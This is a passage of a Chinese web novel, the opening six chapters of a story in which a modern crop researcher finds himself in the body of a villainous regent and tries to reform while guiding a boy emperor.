《奸臣他只想种地》 1. 第 1 章 《奸臣他只想种地》全本免费阅读 “陛下,陛下,现在您还不能进去,我家大人还在休息呢。” “你们这些狗奴才还敢拦朕,滚,都给朕滚下去!” “哎哟,陛下,奴才真不能放你进去,扰了大人休息奴才是要掉脑袋的。” “朕再说最后一遍,你们要是还不让朕现在就让你们脑袋全都搬家,都给朕滚下去!” “陛下,这真不行。” 见威胁行不通,被拦在门外的小皇帝,踮起脚尖扒在拦门奴才的胳膊上,扯开嗓子就往里喊:“皇叔!朕来了!皇叔!朕要见你!” 小皇帝年纪不大,嗓门倒是格外响亮刺耳,伴着儿童独有的稚嫩,穿过一层门的阻隔,很快传入宋闻璟耳边里。 宋闻璟听见声音,意识开始渐渐回笼,随后全身铺天盖地如同被人打了一顿的伤痛刺激着宋闻璟睁开眼,周围古色古香的场景和昏沉不清的头脑,让宋闻璟一度以为自己还在梦里。 他闭上眼,深吸了一口气,心里祈求道:“这梦快结束,一会儿我还得去给我的实验田里的宝贝们浇水。” “皇叔!皇叔!朕要进去!” 外面的叫喊越来越响亮,吵得宋闻璟头脑也越发清晰不明白外面在叫什么,但也挡不住一颗喜欢八卦的心,他想了想,反正都在梦里,他倒要看看自己梦里还能出什么奇事。 下定决心,他捞了一件搭在架上的外衣穿在身上便开了门。 门外的场景,宋闻璟忍不住笑起来,三个高挑强壮的成年人一同架着一个半大的小孩,像抓兔子一样,有人拽着脖子捂着小孩的嘴,有人抓着小孩的胳膊和腿,不让他乱动。 几个成年人见宋闻璟开了门,又都纷纷放开手,装作什么事都没发生。 “你们在干什么,在演戏吗?”宋闻璟好奇问道。 “……” 几人低头不说话,反倒刚刚的小孩没了束缚,一个箭步便猛扑在宋闻璟身上,哭丧着小脸就开始告状:“皇叔,刚刚这几个奴才对朕没大没小,简直不把朕放在眼里,皇叔,你把他们都赶出去好不好?” “大人奴才冤枉啊,明明是陛下要硬闯,奴才怕扰大人休息才拦下来的。”三个奴才纷纷跪下开始为自己辩解。 “胡说!明明是你们对朕不敬在先。” “大人!奴才真是冤枉的!” 两人的之间激烈地争吵宋闻璟一句没听清,在那小孩突然扑上了之时,宋闻璟眼前也跟着突然一黑连退了好几步,眼疾手快抓住门沿稳住了身形才没有在众人眼前倒下。 宋闻璟微微俯身闭了闭眼,本以为这阵眩晕会很过去,谁料那小孩抱得越来越紧,宋闻璟听着心脏急促地跳动,呼吸变得越来越重,失重感越来越强,宋闻璟发出自身强烈的求生欲,猛地开了那小孩的身躯。 唯一支撑点没有,宋闻璟顺着门沿往下滑落,跪在地上的三个奴才心一惊,连忙扶着宋闻璟回床躺着,又马不停蹄地去宫里请太医。 宋闻璟头晕的厉害,连带着心脏隐隐作痛,可不是在梦里吗?怎么还能真疼? 他强撑着精神,问向坐在床沿吓哭的那小孩,“这是哪里?你叫什么?” 小孩抽抽噎噎回道:“皇叔,你不记得朕了吗?这是天喜十七年,朕是沈翊,翊儿啊!皇叔,你不要死啊!” “天喜十五?沈翊?好熟悉啊,好像在哪里看过。” 宋闻璟心里默默念着,终于在昏过去之前,想起了这个名字在哪里看过,好巧,有一个小说主角也叫沈翊。 《天喜王朝》里有个傀儡皇帝叫沈翊,这个小皇帝在八岁登基后,朝政便一直都是由当朝权倾朝野的摄政王把持,但这个摄政王不是好东西,霍乱朝纲,残害忠良是个不折不扣的大反派,大奸臣,天喜王朝也在这个大奸臣手里越来越败落,直到在天喜二十三年,人人眼里软弱无能,傻白甜的傀儡皇帝突然掀起政变,打了个奸臣措手不及,奸臣也在这一年被小皇帝一剑赐死落下帷幕,天喜王朝二十三年也在这个崛起的小皇帝手里开始转变。 不过,宋闻璟是跳着看的,因为前面的某些片段真有点不堪入目,这大奸臣风流成性,手段狠辣,每天不是在杀人就是在杀人的路上,且每次都创新出极其残忍恶心的死法,评论区里也都是清一片的吐槽和谩骂。记忆犹新的是有一次,因为小皇帝闹脾气忤逆了他一次,他便把小皇帝扔在斗兽场里和老虎待了一晚上,第二天下人去接小皇帝时,小皇帝满身血渍在斗兽场的墙头上待了一晚上,那时候小皇帝才十二岁。 小说里一些让人印象深刻的片段,宋闻璟不是没在梦里梦见过,甚至还在梦里围观了一下大奸臣落幕的时候,那时候来到了剧情高潮转折点,一些读者直接怒写五百字的小作文就为了骂一句奸臣死有余辜,活该! 直到意识再次回笼,宋闻璟不知道自己昏过去多久,但再次睁眼时应该能看到自己辛辛苦苦培育了一年的实验田吧,这次的培育结果,说不定他还能写篇论文发表得奖呢。 宋闻璟得意地想着,耳边又听到了一个苍老的声音,“大人没事,等吃了药退下烧就好了。” “那皇叔为何还不醒?” 话音落,宋闻璟便睁开了眼,与上次睁眼看见的景象一模一样,宋闻璟接着闭上了眼。 肯定还没睡醒。 房间里瞬间寂静无声,在无人察觉时,沈翊眼神悄然暗了下,随后装出一副可怜巴巴地样子猛地扑在宋闻璟身上,便扯开嗓子开始大喊大叫:“皇叔,你好惨啊,有人欺负你,你怎么不告诉朕,朕要诛他九族!” “什么?”宋闻璟有点不理解,被沈翊没轻没重地一压身上顿时更痛了。 但这也更加印证了,他没在做梦,也没在梦里,而是真实的来到了这里,而且小皇帝这样称呼他,他应该是穿成了那个被骂成99+的大奸臣。 宋闻璟无奈地扯了扯嘴角,心里却早已化成一潭死水,但有那么的一瞬间,他都想抽自己一巴掌,然后快点让自己下线,让小皇帝快点上位。 可他不能,虽然用了大奸臣的身子,但他还是那个老老实实种地的普通百姓,在穿来的前一秒他还在为实验田里的菜苗除草,更何况事业到了发展期,莫名来到这里,他不甘心也不想顺应剧情去赴死。 他必须扭转结局,在小皇帝手里活下去。 见宋闻璟没反应,沈翊装模作样地揉了两下眼睛:“昨日王府出了刺客,皇叔落了水,现在烧还没退下去,怎么办,皇叔你不要死啊!” 思绪被拉回,听着这些话,宋闻璟瞬间便觉得这小皇帝真是太不会说话了,怎么成天死不死的,多不吉利,更何况他还年轻,还有大半辈子的好日子呢。 虽然现在所有人都盼着他死,但这么正大光明当着正主的面说,是不是太不礼貌了? 宋闻璟推了推压在身上的沈翊,喘了口气低声细语道:“怎么会呢?臣现在 2. 第 2 章 《奸臣他只想种地》全本免费阅读 汤药很烫又很苦,宋闻璟硬是耐着性子喝完了。 小皇帝见汤药见了底,立马拍拍屁股蹦蹦跳跳地走了。 后面接连几天,王府没了小皇帝的身影,宋闻璟耳边也清净了不少,在屋里闷好几天病也养好不少。 但这几天的养病也把宋闻璟闲坏了,本想和下人们聊几句,那些下人们总是匆匆搭几句话就急着下去,打发时间想看点闲书吧,谁知奸臣家里一本杂书都没有,搞的宋闻璟都有点自闭了。 更不巧的是,昨晚又下了一场新雪,宋闻璟刚打开窗子,便看着一堆纯白还未沾染土渍的白雪顺着对面的树枝吹落下来,这又破坏了宋闻璟出门的期待。 “大人,现在外面冷的很,您的病才好,还是不要开窗了。” “香凌。”宋闻璟回头看向刚刚走进来的那个小丫鬟,这几天宋闻璟和说过话最多的就是这个丫鬟,听闻这丫鬟曾是奸臣亲自捡回来的,感情甚是不一般,“这雪怎么下的没完没了,前几日下的雪还未化完,怎么昨日又下了。” 香凌笑笑:“大人,现在是冬天,下雪不是很正常吗?” “可是……”宋闻璟皱了皱眉,忍不住叹口气。 香凌走向前将窗子重新关上,笑道:“大人也觉得闷吧,要让奴婢一直待在屋子里不出去,奴婢也受不了了。” 宋闻璟坐下,有些堪忧道:“可姜老不让出门,说本王下一次出事,他就不救本王了。” “哈哈,怎么会?”香凌开玩笑道,“大人,奴婢觉得大人变了,变得越来越胆小,从前大人都不把任何人放在眼里,现在怎么还怕起人来了。” “是吗?”宋闻璟正了正神色,假装正经道:“那本王现在是不是变了很多?” 香凌点点头:“最起码不会乱发脾气了。” 宋闻璟笑笑:“因为本王做了一个梦,在梦里曾有高人指点,让本王想通了很多。” “真的吗?”香凌一脸认真好奇地听着宋闻璟胡说。 “那是真的,他还告诉本王哪里有金矿,哪里有银矿,还说本王死后能飞升成神。”宋闻璟一本正经地说着,香凌却忍不住笑起来,揭穿他:“大人,你说的好神啊,可奴婢怎么觉得大人跟被骗了一样。” “如果这样的话,被骗了也挺好啊。”宋闻璟笑笑。 香凌怔了怔,“大人,怎么会呢?大人从没被骗过,也没人敢骗您。” 宋闻璟想了想,“好像也是。” 香凌“哈哈”笑了两声,随后端起旁边放凉的药碗,说道:“大人先把药喝了吧,等会去后院看看新开的红梅吧,正好去解解闷,别闷坏了,大人种了这么多这几日也不曾去看看,白白荒废了那么一片好风景。” 宋闻璟愣了愣,一时没反应过来,他哪种过什么红梅,他只种过绿油油又矫情的菜,后来反应过来,连忙答应下来,反正也是闲的没事,不如多出去看看。 香凌笑了笑,随后又将宋闻璟全副武装起来,生怕一阵风又将自己大人吹倒了。 王府后院很大,嫣红的梅花挂在枝头争奇斗艳,好似都要争抢每个人的目光,宋闻璟还未至后院,一阵清幽淡雅的梅香便早已萦绕在鼻尖。 看到如此大阵仗的梅花林,宋闻璟才明白说中说奸臣爱梅之狂,根本不是说说而已,而是恨不得将自己的家都种满梅树。 宋闻璟看着这一大片地方,第一个想法就是能种好多东西啊,好想把自己的实验田搬过来。 两人没待很久,香凌折了两支开的正艳的梅花拿回去插瓶,宋闻璟回去之后,没过多久就有些困了,可没等闭眼,一阵冷风从窗口袭来,紧接着,一个黑影出现在他眼前,刚积攒起来的睡意顿时消散。 “谁?” 黑影跪在他面前,低声回道:“大人,属下裴夏。” 裴夏,书中曾说这位奸臣在私下培养了一支打探朝政中各种事的死士,而面前的这人便是奸臣亲自从那一支死士中挑选出来的佼佼者,并让其做了自己的贴身侍卫,贴身保护。 奸臣能站在这个位置,除了手段狠辣,还有这些人的帮助,只要奸臣下了令,那人根本活到第二天太阳升起,所以朝堂中站队的官员几乎都偏向在奸臣。 无论是赤裸裸的危险,还是权力的压制,奸臣总是独占一头,地位无人撼动。 但有异心的官员也不在少数,比如这一次的王府刺杀,王府戒备森严,死士众多,按理来说不可能会出现这样的情况,但总有不怕死的人敢向权威挑战,而奸臣也不可能没有戒备,站在风口浪尖的人怎么会轻易被叫人暗算推入水中? 除非那人是奸臣的亲近之人,或者有把握相信的人。 宋闻璟也开始对此人好奇起来,他问裴夏:“可有抓到刺客,查出是谁吗?” 裴夏摇摇头:“属下无能,抓到的几人闭口不说已经服药自尽,剩下的都跑向……” 宋闻璟抬了抬眼,不解道:“去哪了?” 裴夏顿了顿,随后低声道:“朝皇宫的方向跑走了,属下去追,几人绕绕弯弯想甩开我们,几人看我们缠的紧最后在皇宫境内失了踪迹。” “什么意思?”宋闻璟突然又想起小皇帝来了。 裴夏连忙低下头请罪:“是属下办事不利,属下现在就去领罚。” 说罢,裴夏站起身又行了个礼便准备退下,宋闻璟却摆了摆手叫住了他,“等等。” 裴夏回头,转身问道:“主子可还有别的事吩咐?” 宋闻璟头疼地捏了捏眉心,随后问道:“小皇帝现在在干什么?” 裴夏回道:“以往现在应该在跟着许太傅读书,但前几日许太傅被辞后,陛下去封了柳家二公子柳溪任太傅一职。” “柳溪?”没怎么听说过。 裴夏默了默,说道:“柳尚书柳山大人家有三位公子,大公子柳江喜舞刀弄枪,善读兵法,刚入军营不久便升了校尉,三公子柳清更是京城有名的才子,创作的诗书字画价值千金,让不少人慕名而来,反倒这位柳二公子喜胭脂水粉,流走烟花柳巷,是个空壳花瓶。” “陛下年纪小,玩性大,会被这样的人吸引也不足为奇。” 宋闻璟听着裴夏解释了这么多,心里却还是在想刺客一事,如果小皇帝现在想杀他,其实根本没能力跟他对抗,再说书里的小皇帝进程也没这么快,只能说是凶手另有其人,而且幕后指使选择嫁祸给小皇帝,势必会引起奸臣的猜疑,而最终的结果,轻则两人离间,奸臣还是把持朝政,重则两人现在就相互对抗,而幕后指使必定会站在小皇帝一旁打压奸臣。 宋闻璟想着,朝堂里还会有谁能跟他分庭对抗。 “主子?”裴夏小声叫他。 宋闻璟回过神,“你现在陪我进趟皇宫。” 裴夏点点头,“是去搜查刺客的下落吗?” 宋闻璟道:“去看看小皇帝。” …… 裴夏应下,连忙换了身便衣后随宋闻璟去了皇宫。路上,昨晚落下的雪已经被人扫了起来,宋闻璟掀开帷幔看着马车外银装素裹的景象,心里却怎么也欣赏不起来,现在书中的剧情不知为何越来越偏离,而自己却 3. 第 3 章 《奸臣他只想种地》全本免费阅读 宋闻璟站在亭子后没出来,裴夏曾告诉他柳溪不务正业,纨绔公子,小皇帝能选他做什么?现在一看,原来只为了贪图享乐,未来做个昏君跟大奸臣一起同流合污。 这不禁让宋闻璟回想起书中的小皇帝明明是个刻苦努力,力求上进的好孩子,现在怎么还歪了?难不成大奸臣逼他还是为了他好,自己的纵容反倒害了他? “陛下,要是认不出来,今天的午饭就别吃了。”柳溪懒散地翘着二郎腿坐在旁边的椅子,时不时往嘴里扔粒花生米,继续添油加醋道。 沈翊站在原地,努力听着声音辨别方位,直到在万般寂静下,除了风声过耳,一阵沉稳的脚步声出现在了耳边。 沈翊寻声伸手,正巧抓到了那人的衣角,沈翊微微抬头,开始从衣角继续向上摸索,在脑中细细斟酌起来,随后扬了扬嘴角脱口而出:“是左荣姐姐。” 周围无人回应,好似早已被风吹散。 沈翊又继续猜:“是芍药姐姐。” 又过良久,有人轻笑起来:“要不陛下再猜猜看?” 熟悉的嗓音,突然让小皇帝浑身一颤,沈翊立马摘掉眼上的布条,装作欣喜道:“皇叔怎么来了!” 宋闻璟笑了笑,随后捏了捏沈翊被冻的红彤彤的脸颊,温声道:“臣来看看陛下学的怎么样了。” 沈翊欣喜道:“朕当然在好好学,而且柳太傅还教了朕好多,还每天带这么多朋友陪朕玩。” “陛下……” “下官参见大人。”柳溪不知何时走到宋闻璟面前颔首行礼,连带柳溪身后的几位美人也都跟着一一拜见。 “柳太傅,不必多礼。”宋闻璟点点头。 三人各怀心事,目光齐聚,一时间气氛僵持不下,柳溪是个有眼力劲的,他不想在两人之间牵扯太多,便寻了个理由带着身后的几个美人匆匆走了。 “皇叔,你怎么来了?裴哥哥没同你一起来吗?” 沈翊不解地开始发问,至于为何问起裴夏,确实有正当理由,其一裴夏身为宋闻璟的贴身侍卫必定时时刻刻跟宋闻璟待在一起,其二便是曾有人向沈翊通报在宫中某处发现了裴夏的行踪。 在皇宫境内,沈翊的消息是灵通的,自从宋闻璟进入皇宫沈翊就掌握了两人的动向,而刚刚的猜名,沈翊是装出来的,他怎么可能分不清宋闻璟和美人们的区别,这一切只不过是为了让宋闻璟打消疑心,让其相信自己。 宋闻璟笑笑:“臣来看看陛下亲自挑选的太傅有何过人之处,让陛下不惜求了这么久。” “哈哈哈。”沈翊装不在意摸了摸头发,低声道:“是柳家二公子,朕听说了他很久,也曾与柳二公子有过交集,朕也很喜欢柳二公子。” “是吗?”宋闻璟顿了顿,深思道:“可外界传闻都说柳二公子是个纨绔子弟,沉迷美色,不学无术,这样的人给陛下做夫子简直成何体统,这又能教给陛下些什么?” “陛下以后是要做明君的,而不是跟着这些纨绔放荡,不学无术的公子哥混在一起,这不禁有失身份,还损坏皇室颜面,这让旁人如何说。” 宋闻璟苦口婆心地劝道,想要把小皇帝带回正确的轨迹,但沈翊依旧油盐不进,反倒替柳溪开始辩解:“因为你们都不知道,柳太傅是很厉害,只是他太懒了,懒到不愿意崭露头角。” 说罢,沈翊轻轻拽了拽宋闻璟的衣角,可怜巴巴道:“皇叔,你别赶走柳太傅,真的,朕真的很喜欢他。” “陛下喜欢,臣断不会横刀夺爱,但陛下你要记得不要荒沉迷玩乐,这天喜的未来还得靠陛下。” 宋闻璟看着他,一双清澈见底的眼眸,好似将一切都看了个透彻,这不禁让沈翊慌了下神,下意识地点点头。 两人没聊多久,宋闻璟思索着走出了皇宫,小皇帝不能误入歧途,这天喜的未来需要靠小皇帝撑起,而且这柳二公子难不成真是个深藏不露的高手,可书中并未透漏许多。 宋闻璟走到宫门时,裴夏已经站在门外等他了,见宋闻璟出来,便急忙走上去,将令牌归还。 “可有结果?”宋闻璟出声问。 裴夏沉了下,随后道:“人还没找到,不过属下在假山的石头旁发现了这个。” 说罢,裴夏从马车上拿下一件夜行衣,里面还有一把刻有不知出处的标志。 “这些人或许已经乔装打扮隐没在皇宫里,但人肯定还在里面,要不然这些东西也不会凭空出现在这里。” 裴夏说:“主子,我们要现在去把他们抓出来吗?” “算了。”宋闻璟重新将令牌挂在腰间,语气淡泊道,“给个警告吧,让他们下次不要再出来害人了。” 裴夏不明,刚想张口劝说,却见宋闻璟眉眼含笑,一点生气的意思都没有,这要搁在以前,就算自己一把火把皇宫烧了,也要除掉那些刺客,现在反倒心胸宽宏了不少,别人打他一下,他也不着急的还回去,真是让人捉摸不透。 宋闻璟自然也明白,他想改变众人对奸臣的印象,让众人以为奸臣弃恶从善,就要避免杀戮,对一切危险因素和解,所以从现在开始他要做个好人,做一个天大的好人。 两人回到府,正巧碰到姜老出诊回来端着刚出锅的小点心吃着,看见两人,姜老也不搭理,自己悠哉悠哉地走进屋里,接着用脚把门关上。 宋闻璟知道,是姜老生气了,姜老是个脾气暴躁的老头,白花花胡子总在生气时,朝向天空,至于这次为什么生气,宋闻璟觉得是自己偷跑出去,没给这个小老头打声招呼。 而宋闻璟也知道,这也是个很好哄的老头,也是个视财如命的老头,姜老愿意跟着这个奸臣,一半因素是奸臣有钱。 傍晚,宋闻璟跟以往一般差人给姜老送了一袋银子,谁料姜老不止满足,还得寸进尺又要了三袋,宋闻璟没办法,谁让他欠姜老呢。 第二日,宋闻璟病好便开始接提上奸臣的工作进宫上朝,因为前几日大病一场,朝堂上的琐事不断,折子也堆积了 4. 第 4 章 《奸臣他只想种地》全本免费阅读 看着宋闻璟如此大方,沈翊一时没反应过来,什么时候奸臣还会这般恭恭敬敬让出自己的权力,让自己独揽大权? 沈翊思来想去却怎么也想不出一个理由,等再次抬眼时,一道含着沐浴春风温柔的眼眸猛然闯进沈翊目光中,沈翊呆愣在原地,竟连眼睛也不会眨了,奸臣盯着他薄唇轻勾,眉眼清朗,笑起来如同雨过天晴的湖色春光,柔和又温暖,让人久久移不开眼。 因奸臣本身就长了一对看谁都含情脉脉的桃花眼,但因为久居高位,无人敢与之触碰,在外人看来,奸臣无论在为人还是处事上,都表现的毫无感情,就犹如高山上的一朵正娇艳盛开的杜鹃花,生于高处,栖于寒冷,不禁让不少行人望而观止。 而现在奸臣这般对他笑,沈翊觉得这真是太稀奇的一件事了,而这般稀奇事的背后说不定藏着一个更大的阴谋,以奸臣的作风怎么会突如其来的对他这般好? 这真是可笑。 沈翊不禁回笑:“皇叔,朕还未学有所成,此等大事自是交由皇叔才放心。” “陛下,怎可妄自菲薄。”宋闻璟看出小皇帝有意逃避,继而继续逼近道:“陛下已经不小了,这些事总得落到陛下手里,如果以后臣不在了,陛下难不成要将国事置于不顾,做个甩手掌柜继续和现在一样吃喝玩乐,可要是这……” “陛下,柳太傅来了。”跟在小皇帝身旁的李公公走进来通报道。 “宣!” 小皇帝双手一拍桌子,猛然站起身,因动作太大,硬生生将宋闻璟还未出口的下半句又吓了回去。 半晌,柳溪不急不慢地走进门,明眸皓齿,一身亮眼的青色长衣也给柳溪增添了不少意气风发的少年郎的气息,让人生机勃勃,充满了明亮与希望。 “臣参见陛下,摄政王。” 柳溪笑容明媚微微欠身朝两人行礼。 “柳太傅!”小皇帝袖子一甩,疾步走到柳溪跟前,小脸鼓的红红的,气呼呼道:“你今天为什么又睡到这么晚,还要朕等你!不是说好…唔…” 柳溪眼疾手快地揽过小皇帝,捂着还在说不停的小嘴,尴尬地笑了笑:“陛下,您要是有事我们私下再说也不迟。” “唔……给朕放手!”沈翊挣扎起来,抬起脚毫不客气地踹了下去,几乎在同一瞬间,柳溪不禁重重吸了口气,收紧的手蓦地松开,低声咒骂了一句,“不是,你属驴的啊,踢人这么疼!” 沈翊握着衣袖擦了擦发红的薄唇,不满地回了柳溪一道刀眼。 “柳太傅。” 两人有来有回地闹着,眼看气氛越激越烈,宋闻璟觉得自己这么大个人越来越透明,便出口打破道。 柳溪闻言拱手,朝宋闻璟一拜回道:“宋大人。” 宋闻璟走向前,站在两人之间,温言道:“陛下,小孩心性,还请柳太傅多担待,切勿挂心上。” “臣不敢,陛下犯错,臣身为陛下之师自然有不可推卸的责任。”说罢,柳溪弯的更低了,几乎马上要跪在地上,“是臣的错,是臣没教好陛下。” “柳太傅,不必将过错都揽在自己身上。”宋闻璟笑了笑,又将柳溪双手扶起,“柳太傅上次匆匆一别,本王还从未跟柳太傅有过交谈。” “啊……是吗?”柳溪突然觉得浑身难受起来,惊慌的目光不断朝沈翊投去。 沈翊回看了他一眼,而后无奈地扯了扯宋闻璟的衣袖,打断道:“皇叔,时间不早了,柳太傅今日还要教朕诗书。” “这……”宋闻璟纠结半晌,柳溪立马附和道:“对啊,昨日还剩了半篇诗文没学完,陛下心急,求学问道兴致极高,大人尽可放心。” “那好吧。”宋闻璟松口,柳溪笑笑,“如果大人找下官有要事商讨,下官定会亲自上门拜访,给大人赔礼道歉。” 宋闻璟摆摆手,“罢了,也不是什么大事,柳太傅带陛下去吧。” “是。”柳溪颔首,便带着小皇帝走出了房门,而身后的宋闻璟看着桌子上摆着一堆如山高的奏折,不禁叹了口气,这烫手山芋没扔掉,小皇帝还跟别人跑了,宋闻璟心直接凉了一半,但小皇帝既然能这么相信他,他必要好好表现,还小皇帝一个大好天喜的未来,这样说不定到最后小皇帝杀他的时候还能轻一点。 宋闻璟坐在椅子上认真地批了半晌,坐的腰都疼了,抬头看向门外,金黄色的阳光正通过门上一层薄纸撒进来,他问站在旁边的裴夏:“现在何时了?” 裴夏道:“回主子,现在午时。” “原来已经到中午了。”宋闻璟低声喃喃自语,随后问道:“陛下,可回来了?” 裴夏道:“还未,看样子应该是跟柳太傅出去了。” 宋闻璟点点头,“那我们也回去吧。” 裴夏稳稳扶宋闻璟站起身,而后两人一前一后走出宫门,宋闻璟刚想上马车,却不想被一阵阵叫喊声吸引了过去。 远处礼部尚书常明不顾体面风度地疾步一边挥着手大声呼喊,一边朝宋闻璟跑来,“宋大人!宋大人!等等!” 宋闻璟站在原地,静静地看着常明气呼呼地跑到自己跟前,“常大人有何事?” 常明附身弯下腰,喘了几口粗气,随后气息不稳道:“宋大人,下官这里还有份重要的奏折要您过目。” “什么?”宋闻璟皱了下眉,“先放那吧,下午本王一起看了便是。” “不行。”常明直起身,一本正经道:“十万火急,这是过两天的祭祀,为民祈福,保佑明年收成顺利。前几日大人病了,礼部也没敢擅自行动,今日好不容易等到大人,自是等不及。” 宋闻璟看着他,颇为忧愁,“为何现在才将奏折上奏,不是急事吗?” 常明低下头,莫名尴尬地笑了笑,“这不是怕大人今日心情不加,不想看这些弯弯绕绕的字迹,上一年就是因为大人忘了,这才耽误了祭祀的好日子,还有上上年……” “行了。”宋闻璟挥了挥手,“本王知道了,你下去准备吧。” “大人,要签字盖章的。”常明道,“大人,章程要走的,要不然那些下人不认。” …… < 5. 第 5 章 《奸臣他只想种地》全本免费阅读 宋闻璟坐在马车上,街边摊贩们不断地叫喊声灌进耳朵,扑鼻而来各样的美食勾起强烈的食欲,而早已空空如也肚子也在此刻发出有力抗争。 宋闻璟咽下一口口水,随后在马车行驶三米后,终于出声叫停了马车。 裴夏闻声站在马车外,低声问道:“主子,可有别的吩咐?” 车内人不答,只在一瞬间,宋闻璟便急匆匆下了车,吩咐让驾车的人先回了府,自己则转头对着裴夏问道:“你带钱了吗?本王出门急,钱袋好像在另一件衣服上。” “啊?”裴夏一愣,随后点头道:“带了。” 宋闻璟看着他笑了笑,随后伸出手道:“把钱留下,你回去吧。” “主子?”裴夏不明白所以地将悬挂在腰间地钱袋放到宋闻璟手里,“主子想干什么?” “当然去消费。”宋闻璟说完,便头也回地转身走了,裴夏虽有些反应不过来,自家主子也从来没有这种闲情雅致的时候,但主子发话了,他也不敢不从,宋闻璟走在前面,他便跟在身后,默默看着。 街道两边商品琳琅满目,宋闻璟瞬间被迷花了眼,一边被人间烟火气所吸引,一边被各色各样的玩具配饰挑起兴趣。 最后宋闻璟实在扛不住饿意,两人随便找了个小摊坐了下来。 摊贩是个上了年纪的男人,头发胡须白了一半,看见两人衣着打扮毫不透漏着一股华贵的气息,便着张开笑脸迎着上来,“两人客官想吃点什么?” 宋闻璟道:“两碗面就好。” 裴夏附和点头。 小摊贩笑着装模作样地数起手指,低声嘀咕:“一碗十文,两人……” “客官,一共二十文。”摊贩迎着笑脸,心里高兴的不得了。 宋闻璟没多想,掏出钱袋就准备付钱,反倒旁边的裴夏有些按耐不住了,他凑到宋闻璟旁边,低声道:“主子,我们换个地方吧。” “为什么?”宋闻璟不解。 “一碗面十文钱,简直高处平常物价的两倍。” “所以,他是个黑心老板?” 裴夏点点头,随后将目光移向摊贩笑意盈盈地脸上,“你去忙吧,我们不吃了。” “什么?”摊贩满脸笑容僵住,“客官再看看嘛,两碗面很快的,用不了多少时间。” 自打进入冬季,小摊生意一直冷冷清清,来的人不多也就零零散散两三个人,有时候一天也接不了一个客,收入越来越低,扛不住日常所出,抬高价格也是不得已而为之。 裴夏直接了当,问:“老板,你想赚钱也不能这样赚啊,这样跟抢钱有什么区别。” 摊贩被说的难为情低下头,心里一阵酸一阵痛,最后直接扔了手里的白布,当面愤恨骂道:“我们也不想啊,这条街涨价根本就不在少数,我们也要生活啊,这狗屁的地方官,知道今年收成不好,交的税不减反涨,这才导致这物价飞涨,除了有钱人来,那些贫苦百姓根本消费不起。” 说罢,摊贩攥着两人的衣袖,近乎祈求道:“两位客官就可怜可怜小人,留下吃顿饭吧。” 两人相视一眼,随后裴夏不动声色地移开眼,宋闻璟道:“我们不走了。” 一句话,摊贩脸上随即喜笑颜开,道了好几声谢后,便匆匆离开去下面。 裴夏坐在原地不再吭声,宋闻璟知道古代的苛捐杂税不少,百姓的负担也应该在保持稳定基本经济生活的情况下交税,但在这么为难人的时候,朝廷不该放手不管,而且也从未有人上报过。 宋闻璟沉思良久,开口问道:“百姓生活困苦,为何本王一概不知?” 裴夏道:“这种事,主子嫌处理起太麻烦,不是便让各地官员都自行处理,而且天灾来之突然,百姓收成都是未知,下面的官员也不敢再进行上报,早在几年前,主子便已经放手了。” 宋闻璟心中所疑,到头来还要怪在自己头上,但不过,那些地方官员拿权不办事,怪不得小皇帝能轻而易举地将反派推翻,原来积攒的民怨早已埋藏其中。 旁边的裴夏看了看宋闻璟的脸色,随之再次补充道:“各朝各代,都把祭祀看的很重,但前几年,祭祀途中差错不断,也让不少人误以为是老天发怒,不愿撒下福泽,更有甚者,将罪责怪在陛下和主子头上,说是……陛下不虔诚,连带主子将祭祀最佳时机错过,从而掀起一场小规模反动。” “是吗?”宋闻璟心中一惊,随后勉强扯出一个笑容,“但愿这次祭祀不会发生什么差错。” 话音落,摊贩端着两碗面热气腾腾点缀着一小撮葱花和几根菜叶的清汤面出现在两人的视线中,“两位客官,请慢用。” 摊贩积极介绍道:“两位客官快尝尝,这碗里加了自家磨的香油,好吃的很,平常我们还不舍地吃。” 一碗面,还未至跟前,香味早已从远处传来,用筷子戳开白花花的热雾更是伴着香味飘远,模糊视线。 两人各尝了一口,舌尖都留着面条的鲜香,吃进胃里更是暖和的起来,摊贩看着两人吃的舒服了,便在旁边坐了下来休息。 “伯伯,能借点热汤吗?” 小摊门口不知何时站着一个满身补丁,衣衫褴褛的小男孩,手指被冻地通红,怀里还抱着一只奄奄一息的小黄狗。 三人闻声纷纷抬起头,摊贩走过去,似乎认出这小男孩来,语气甚是不善道:“你快走吧,我这还有客人呢。” 小男孩低下头颇为失望地道了声谢,随后抱着小黄狗转身走了。 摊贩叹了口气,眉头一皱,随后又走了回去。 “这小男孩是谁啊?”宋闻璟有些好奇,“为什么这么冷的天还不回家?” 摊贩摆摆手,好似不愿再多说什么,简单敷衍几句后,两人付完钱便离开了。 但刚刚这小男孩没走远,独自抱着小黄狗蹲在街边角落,嘴里还喋喋不休地说着什么,宋闻璟走上前,跟小男孩打了个招呼,小男孩眼神一顿,随后一起身直直跪在地上。 “大人大人,您能不能救救小财。” 6. 第 6 章 《奸臣他只想种地》全本免费阅读 三日后,小财的症状有所好转,连带在礼部的加紧布置下,这场百官朝拜,皇帝高登祭台盛大而隆重的祭祀便到了日子。 天才刚蒙蒙亮,宋闻璟还未从梦中醒来,头晕乎乎的连眼皮都还抬不起来,就被香凌硬拉起来起床打扮,但谁又告诉他,哪个天杀的算出的吉时是在休沐的日子里! 天天起早贪黑去上早朝就算了,现在懒觉都不让人睡了,真是气死人,还不如回去继续种地!最起码不会天天起这么早。 而祭祀的地方是在福泽寺的后山,众官员一大早便齐齐聚在皇宫门口,随后便瞧见一身明黄亮眼的长袍出现在眼前,沈翊一身正装人虽小,但独有帝王的风气却依旧不减。 沈翊瞧了一眼跪在地上的大臣们,语气平淡说了句“平身”后,便转头上了前面的马车。 昨晚柳溪不知道又发了什么疯,喝醉后又非要拉着他去看星星,乌漆麻黑的天一点亮光都没有,还非要指着那挂着的灯笼说星星。 被这么一闹,沈翊昨晚根本没睡好,醒来时眼下还散发着淡淡的乌青,今早还特地嘱咐了一下宫女要用粉遮一下。 沈翊走到马车旁偷偷打了哈欠,本想上了马车再偷偷补觉,谁知道刚拉开帷幕,一张笑意盈盈的面容赫然出现在眼前,沈翊一愣,随后压下心头的不满,回笑道:“你……皇叔怎么在这?” 以前也从没见过奸臣会有心来参加这种活动。 “陛下,臣觉得这马车挺宽敞的,陛下应该不介意多臣一个人吧。” 宋闻璟笑了笑,眼神回避着小皇帝的目光,就连语气也一反常态的软弱,但真让他下去就他这弱不禁风的小身板走到福泽寺,还不得要了半条命去。 “怎么会呢?”沈翊走进来,直直坐到另一边,“皇叔想坐就坐,朕当然愿意和皇叔同坐一辆马车了。” 